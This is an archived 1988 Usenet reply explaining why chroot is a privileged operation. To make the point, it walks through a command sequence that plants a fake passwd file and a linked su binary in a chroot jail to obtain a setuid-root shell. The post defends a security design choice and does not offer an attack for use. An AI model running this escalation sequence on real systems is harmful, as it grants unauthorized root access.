Xref: utzoo news.admin:4113 news.sysadmin:1734 comp.mail.uucp:2394 Path: utzoo!utgpu!watmath!clyde!att!osu-cis!killer!texbell!nuchat!steve From: steve@nuchat.UUCP (Steve Nuchia) Newsgroups: news.admin,news.sysadmin,comp.mail.uucp Subject: Re: Dangerous hole in Usenet! Message-ID: <2673@nuchat.UUCP> Date: 30 Nov 88 00:40:41 GMT References: <155@ecicrl.UUCP> Organization: South Coast Computing Services, Inc. - Houston, Tx Lines: 31 From article <155@ecicrl.UUCP>, by clewis@ecicrl.UUCP (Chris Lewis): > Secondly, can someone out there explain why chroot is privileged? Or > why /etc/chroot isn't setuid? It seems pretty darn silly that some > mechanism that can only be used for *reducing* access rights requires > root permission. If only /etc/chroot allowed anybody to run it, and > it carefully made sure that there was a setuid(getuid()) etc before > invoking whatever it was going to invoke, the uuhosts unshar would > be trivial. The problem is that other (setuid) programs expect certain files, say /etc/passwd, to be where they belong. Assuming I am an ordinary user with access to a setuid chroot and that /bin and /tmp are on the same file system: mkdir /tmp/bin /tmp/etc ln /bin/su /tmp/bin cp prefab.passwd /tmp/etc/passwd cp /bin/sh /tmp/bin chroot /tmp su /* Look ma, no password! */ chown root /bin/sh chmod 4555 /bin/sh un-chroot /tmp/bin/sh So, don't make chroot easy; it is more powerful than it looks. -- Steve Nuchia South Coast Computing Services uunet!nuchat!steve POB 890952 Houston, Texas 77289 (713) 964 2462 Consultation & Systems, Support for PD Software.